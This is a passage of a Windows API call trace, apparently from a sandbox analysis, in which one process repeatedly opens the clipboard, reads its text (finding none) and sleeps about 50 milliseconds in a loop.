[0241.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.039] GetClipboardData (uFormat=0x1) returned 0x0
[0241.039] CloseClipboard () returned 1
[0241.039] Sleep (dwMilliseconds=0x32)
[0241.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaa3e7cb, dwHighDateTime=0x1d96e12))
[0241.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.054] GetClipboardData (uFormat=0x1) returned 0x0
[0241.054] CloseClipboard () returned 1
[0241.054] Sleep (dwMilliseconds=0x32)
[0241.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaa64a64, dwHighDateTime=0x1d96e12))
[0241.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.070] GetClipboardData (uFormat=0x1) returned 0x0
[0241.070] CloseClipboard () returned 1
[0241.070] Sleep (dwMilliseconds=0x32)
[0241.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaa8ac76, dwHighDateTime=0x1d96e12))
[0241.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.086] GetClipboardData (uFormat=0x1) returned 0x0
[0241.086] CloseClipboard () returned 1
[0241.086] Sleep (dwMilliseconds=0x32)
[0241.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaab0ed5, dwHighDateTime=0x1d96e12))
[0241.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.102] GetClipboardData (uFormat=0x1) returned 0x0
[0241.102] CloseClipboard () returned 1
[0241.102] Sleep (dwMilliseconds=0x32)
[0241.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaad7165, dwHighDateTime=0x1d96e12))
[0241.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.118] GetClipboardData (uFormat=0x1) returned 0x0
[0241.118] CloseClipboard () returned 1
[0241.118] Sleep (dwMilliseconds=0x32)
[0241.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaafd364, dwHighDateTime=0x1d96e12))
[0241.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.133] GetClipboardData (uFormat=0x1) returned 0x0
[0241.133] CloseClipboard () returned 1
[0241.133] Sleep (dwMilliseconds=0x32)
[0241.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeab235e1, dwHighDateTime=0x1d96e12))
[0241.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.148] GetClipboardData (uFormat=0x1) returned 0x0
[0241.148] CloseClipboard () returned 1
[0241.148] Sleep (dwMilliseconds=0x32)
[0241.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeab49874, dwHighDateTime=0x1d96e12))
[0241.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.165] GetClipboardData (uFormat=0x1) returned 0x0
[0241.165] CloseClipboard () returned 1
[0241.165] Sleep (dwMilliseconds=0x32)
[0241.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeab6faed, dwHighDateTime=0x1d96e12))
[0241.181] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.181] GetClipboardData (uFormat=0x1) returned 0x0
[0241.181] CloseClipboard () returned 1
[0241.181] Sleep (dwMilliseconds=0x32)
[0241.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeab95c9f, dwHighDateTime=0x1d96e12))
[0241.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.196] GetClipboardData (uFormat=0x1) returned 0x0
[0241.196] CloseClipboard () returned 1
[0241.196] Sleep (dwMilliseconds=0x32)
[0241.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeabbbf46, dwHighDateTime=0x1d96e12))
[0241.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.211] GetClipboardData (uFormat=0x1) returned 0x0
[0241.211] CloseClipboard () returned 1
[0241.211] Sleep (dwMilliseconds=0x32)
[0241.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeabe21b0, dwHighDateTime=0x1d96e12))
[0241.230] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.230] GetClipboardData (uFormat=0x1) returned 0x0
[0241.230] CloseClipboard () returned 1
[0241.230] Sleep (dwMilliseconds=0x32)
[0241.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeac08552, dwHighDateTime=0x1d96e12))
[0241.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.243] GetClipboardData (uFormat=0x1) returned 0x0
[0241.243] CloseClipboard () returned 1
[0241.243] Sleep (dwMilliseconds=0x32)
[0241.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeac2e712, dwHighDateTime=0x1d96e12))
[0241.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.258] GetClipboardData (uFormat=0x1) returned 0x0
[0241.258] CloseClipboard () returned 1
[0241.258] Sleep (dwMilliseconds=0x32)
[0241.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeac5497d, dwHighDateTime=0x1d96e12))
[0241.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.273] GetClipboardData (uFormat=0x1) returned 0x0
[0241.273] CloseClipboard () returned 1
[0241.273] Sleep (dwMilliseconds=0x32)
[0241.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeac7abea, dwHighDateTime=0x1d96e12))
[0241.291] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.291] GetClipboardData (uFormat=0x1) returned 0x0
[0241.291] CloseClipboard () returned 1
[0241.291] Sleep (dwMilliseconds=0x32)
[0241.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaca0e35, dwHighDateTime=0x1d96e12))
[0241.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.305] GetClipboardData (uFormat=0x1) returned 0x0
[0241.305] CloseClipboard () returned 1
[0241.305] Sleep (dwMilliseconds=0x32)
[0241.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeacc7297, dwHighDateTime=0x1d96e12))
[0241.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.320] GetClipboardData (uFormat=0x1) returned 0x0
[0241.320] CloseClipboard () returned 1
[0241.321] Sleep (dwMilliseconds=0x32)
[0241.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaced304, dwHighDateTime=0x1d96e12))
[0241.347] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.347] GetClipboardData (uFormat=0x1) returned 0x0
[0241.347] CloseClipboard () returned 1
[0241.349] Sleep (dwMilliseconds=0x32)
[0241.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xead134b8, dwHighDateTime=0x1d96e12))
[0241.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.351] GetClipboardData (uFormat=0x1) returned 0x0
[0241.351] CloseClipboard () returned 1
[0241.351] Sleep (dwMilliseconds=0x32)
[0241.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xead39765, dwHighDateTime=0x1d96e12))
[0241.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.367] GetClipboardData (uFormat=0x1) returned 0x0
[0241.367] CloseClipboard () returned 1
[0241.367] Sleep (dwMilliseconds=0x32)
[0241.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xead5f939, dwHighDateTime=0x1d96e12))
[0241.384] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.384] GetClipboardData (uFormat=0x1) returned 0x0
[0241.384] CloseClipboard () returned 1
[0241.384] Sleep (dwMilliseconds=0x32)
[0241.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xead85ca8, dwHighDateTime=0x1d96e12))
[0241.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.398] GetClipboardData (uFormat=0x1) returned 0x0
[0241.398] CloseClipboard () returned 1
[0241.398] Sleep (dwMilliseconds=0x32)
[0241.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeadabe32, dwHighDateTime=0x1d96e12))
[0241.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.414] GetClipboardData (uFormat=0x1) returned 0x0
[0241.414] CloseClipboard () returned 1
[0241.414] Sleep (dwMilliseconds=0x32)
[0241.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeadd2030, dwHighDateTime=0x1d96e12))
[0241.438] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.438] GetClipboardData (uFormat=0x1) returned 0x0
[0241.438] CloseClipboard () returned 1
[0241.438] Sleep (dwMilliseconds=0x32)
[0241.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeadf8290, dwHighDateTime=0x1d96e12))
[0241.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.445] GetClipboardData (uFormat=0x1) returned 0x0
[0241.446] CloseClipboard () returned 1
[0241.446] Sleep (dwMilliseconds=0x32)
[0241.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeae1e542, dwHighDateTime=0x1d96e12))
[0241.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.461] GetClipboardData (uFormat=0x1) returned 0x0
[0241.461] CloseClipboard () returned 1
[0241.461] Sleep (dwMilliseconds=0x32)
[0241.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeae4474c, dwHighDateTime=0x1d96e12))
[0241.478] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.478] GetClipboardData (uFormat=0x1) returned 0x0
[0241.478] CloseClipboard () returned 1
[0241.478] Sleep (dwMilliseconds=0x32)
[0241.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeae6a9c4, dwHighDateTime=0x1d96e12))
[0241.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.493] GetClipboardData (uFormat=0x1) returned 0x0
[0241.494] CloseClipboard () returned 1
[0241.494] Sleep (dwMilliseconds=0x32)
[0241.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeae90c30, dwHighDateTime=0x1d96e12))
[0241.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.508] GetClipboardData (uFormat=0x1) returned 0x0
[0241.508] CloseClipboard () returned 1
[0241.508] Sleep (dwMilliseconds=0x32)
[0241.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaeb6e71, dwHighDateTime=0x1d96e12))
[0241.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.523] GetClipboardData (uFormat=0x1) returned 0x0
[0241.523] CloseClipboard () returned 1
[0241.523] Sleep (dwMilliseconds=0x32)
[0241.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaedd0c6, dwHighDateTime=0x1d96e12))
[0241.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.540] GetClipboardData (uFormat=0x1) returned 0x0
[0241.540] CloseClipboard () returned 1
[0241.540] Sleep (dwMilliseconds=0x32)
[0241.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaf03318, dwHighDateTime=0x1d96e12))
[0241.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.554] GetClipboardData (uFormat=0x1) returned 0x0
[0241.554] CloseClipboard () returned 1
[0241.555] Sleep (dwMilliseconds=0x32)
[0241.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaf295a6, dwHighDateTime=0x1d96e12))
[0241.574] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.574] GetClipboardData (uFormat=0x1) returned 0x0
[0241.574] CloseClipboard () returned 1
[0241.574] Sleep (dwMilliseconds=0x32)
[0241.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaf4f7c0, dwHighDateTime=0x1d96e12))
[0241.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.586] GetClipboardData (uFormat=0x1) returned 0x0
[0241.586] CloseClipboard () returned 1
[0241.586] Sleep (dwMilliseconds=0x32)
[0241.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaf75a0c, dwHighDateTime=0x1d96e12))
[0241.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.601] GetClipboardData (uFormat=0x1) returned 0x0
[0241.601] CloseClipboard () returned 1
[0241.601] Sleep (dwMilliseconds=0x32)
[0241.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaf9bcab, dwHighDateTime=0x1d96e12))
[0241.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.619] GetClipboardData (uFormat=0x1) returned 0x0
[0241.619] CloseClipboard () returned 1
[0241.619] Sleep (dwMilliseconds=0x32)
[0241.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeafc1f31, dwHighDateTime=0x1d96e12))
[0241.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.633] GetClipboardData (uFormat=0x1) returned 0x0
[0241.633] CloseClipboard () returned 1
[0241.633] Sleep (dwMilliseconds=0x32)
[0241.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeafe8177, dwHighDateTime=0x1d96e12))
[0241.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.648] GetClipboardData (uFormat=0x1) returned 0x0
[0241.648] CloseClipboard () returned 1
[0241.648] Sleep (dwMilliseconds=0x32)
[0241.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb00e3b0, dwHighDateTime=0x1d96e12))
[0241.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.671] GetClipboardData (uFormat=0x1) returned 0x0
[0241.671] CloseClipboard () returned 1
[0241.671] Sleep (dwMilliseconds=0x32)
[0241.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb03462b, dwHighDateTime=0x1d96e12))
[0241.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.681] GetClipboardData (uFormat=0x1) returned 0x0
[0241.681] CloseClipboard () returned 1
[0241.681] Sleep (dwMilliseconds=0x32)
[0241.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb05a879, dwHighDateTime=0x1d96e12))
[0241.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.695] GetClipboardData (uFormat=0x1) returned 0x0
[0241.695] CloseClipboard () returned 1
[0241.695] Sleep (dwMilliseconds=0x32)
[0241.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb080ab1, dwHighDateTime=0x1d96e12))
[0241.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.711] GetClipboardData (uFormat=0x1) returned 0x0
[0241.711] CloseClipboard () returned 1
[0241.711] Sleep (dwMilliseconds=0x32)
[0241.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb0a6cf2, dwHighDateTime=0x1d96e12))
[0241.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.726] GetClipboardData (uFormat=0x1) returned 0x0
[0241.727] CloseClipboard () returned 1
[0241.727] Sleep (dwMilliseconds=0x32)
[0241.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb0ccfae, dwHighDateTime=0x1d96e12))
[0241.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.743] GetClipboardData (uFormat=0x1) returned 0x0
[0241.743] CloseClipboard () returned 1
[0241.743] Sleep (dwMilliseconds=0x32)
[0241.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb0f319c, dwHighDateTime=0x1d96e12))
[0241.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.758] GetClipboardData (uFormat=0x1) returned 0x0
[0241.758] CloseClipboard () returned 1
[0241.758] Sleep (dwMilliseconds=0x32)
[0241.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb11942e, dwHighDateTime=0x1d96e12))
[0241.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.773] GetClipboardData (uFormat=0x1) returned 0x0
[0241.773] CloseClipboard () returned 1
[0241.773] Sleep (dwMilliseconds=0x32)
[0241.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb13f699, dwHighDateTime=0x1d96e12))
[0241.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.790] GetClipboardData (uFormat=0x1) returned 0x0
[0241.790] CloseClipboard () returned 1
[0241.790] Sleep (dwMilliseconds=0x32)
[0241.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb1658f8, dwHighDateTime=0x1d96e12))
[0241.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.804] GetClipboardData (uFormat=0x1) returned 0x0
[0241.804] CloseClipboard () returned 1
[0241.804] Sleep (dwMilliseconds=0x32)
[0241.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb18bb8b, dwHighDateTime=0x1d96e12))
[0241.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.821] GetClipboardData (uFormat=0x1) returned 0x0
[0241.822] CloseClipboard () returned 1
[0241.822] Sleep (dwMilliseconds=0x32)
[0241.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb1b1de8, dwHighDateTime=0x1d96e12))
[0241.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.836] GetClipboardData (uFormat=0x1) returned 0x0
[0241.836] CloseClipboard () returned 1
[0241.836] Sleep (dwMilliseconds=0x32)
[0241.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb1d7fe3, dwHighDateTime=0x1d96e12))
[0241.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.851] GetClipboardData (uFormat=0x1) returned 0x0
[0241.851] CloseClipboard () returned 1
[0241.851] Sleep (dwMilliseconds=0x32)
[0241.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb1fe26c, dwHighDateTime=0x1d96e12))
[0241.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.868] GetClipboardData (uFormat=0x1) returned 0x0
[0241.868] CloseClipboard () returned 1
[0241.868] Sleep (dwMilliseconds=0x32)
[0241.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb2244d5, dwHighDateTime=0x1d96e12))
[0241.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.883] GetClipboardData (uFormat=0x1) returned 0x0
[0241.883] CloseClipboard () returned 1
[0241.883] Sleep (dwMilliseconds=0x32)
[0241.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb24a718, dwHighDateTime=0x1d96e12))
[0241.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.898] GetClipboardData (uFormat=0x1) returned 0x0
[0241.898] CloseClipboard () returned 1
[0241.898] Sleep (dwMilliseconds=0x32)
[0241.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb27098a, dwHighDateTime=0x1d96e12))
[0241.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.915] GetClipboardData (uFormat=0x1) returned 0x0
[0241.915] CloseClipboard () returned 1
[0241.915] Sleep (dwMilliseconds=0x32)
[0241.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb296c1c, dwHighDateTime=0x1d96e12))
[0241.937] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.937] GetClipboardData (uFormat=0x1) returned 0x0
[0241.937] CloseClipboard () returned 1
[0241.937] Sleep (dwMilliseconds=0x32)
[0241.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb2bce53, dwHighDateTime=0x1d96e12))
[0241.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.945] GetClipboardData (uFormat=0x1) returned 0x0
[0241.945] CloseClipboard () returned 1
[0241.945] Sleep (dwMilliseconds=0x32)
[0241.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb2e30a4, dwHighDateTime=0x1d96e12))
[0241.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.961] GetClipboardData (uFormat=0x1) returned 0x0
[0241.961] CloseClipboard () returned 1
[0241.961] Sleep (dwMilliseconds=0x32)
[0241.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb3092c6, dwHighDateTime=0x1d96e12))
[0241.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.976] GetClipboardData (uFormat=0x1) returned 0x0
[0241.976] CloseClipboard () returned 1
[0241.977] Sleep (dwMilliseconds=0x32)
[0241.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb32f589, dwHighDateTime=0x1d96e12))
[0241.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.993] GetClipboardData (uFormat=0x1) returned 0x0
[0241.994] CloseClipboard () returned 1
[0241.994] Sleep (dwMilliseconds=0x32)
[0242.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb3557d6, dwHighDateTime=0x1d96e12))
[0242.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.008] GetClipboardData (uFormat=0x1) returned 0x0
[0242.008] CloseClipboard () returned 1
[0242.008] Sleep (dwMilliseconds=0x32)
[0242.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb37ba2a, dwHighDateTime=0x1d96e12))
[0242.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.023] GetClipboardData (uFormat=0x1) returned 0x0
[0242.023] CloseClipboard () returned 1
[0242.023] Sleep (dwMilliseconds=0x32)
[0242.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb3a1c3e, dwHighDateTime=0x1d96e12))
[0242.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.041] GetClipboardData (uFormat=0x1) returned 0x0
[0242.041] CloseClipboard () returned 1
[0242.041] Sleep (dwMilliseconds=0x32)
[0242.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb3c7eb1, dwHighDateTime=0x1d96e12))
[0242.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.054] GetClipboardData (uFormat=0x1) returned 0x0
[0242.054] CloseClipboard () returned 1
[0242.055] Sleep (dwMilliseconds=0x32)
[0242.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb3ee0a2, dwHighDateTime=0x1d96e12))
[0242.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.071] GetClipboardData (uFormat=0x1) returned 0x0
[0242.071] CloseClipboard () returned 1
[0242.072] Sleep (dwMilliseconds=0x32)
[0242.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb414356, dwHighDateTime=0x1d96e12))
[0242.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.086] GetClipboardData (uFormat=0x1) returned 0x0
[0242.086] CloseClipboard () returned 1
[0242.086] Sleep (dwMilliseconds=0x32)
[0242.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb43a5b7, dwHighDateTime=0x1d96e12))
[0242.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.101] GetClipboardData (uFormat=0x1) returned 0x0
[0242.101] CloseClipboard () returned 1
[0242.101] Sleep (dwMilliseconds=0x32)
[0242.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb4607fa, dwHighDateTime=0x1d96e12))
[0242.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.117] GetClipboardData (uFormat=0x1) returned 0x0
[0242.117] CloseClipboard () returned 1
[0242.117] Sleep (dwMilliseconds=0x32)
[0242.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeb486a28, dwHighDateTime=0x1d96e12))
[0242.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0242.133] GetClipboardData (uFormat=0x1) returned 0x0
[0242.133] CloseClipboard () returned 1
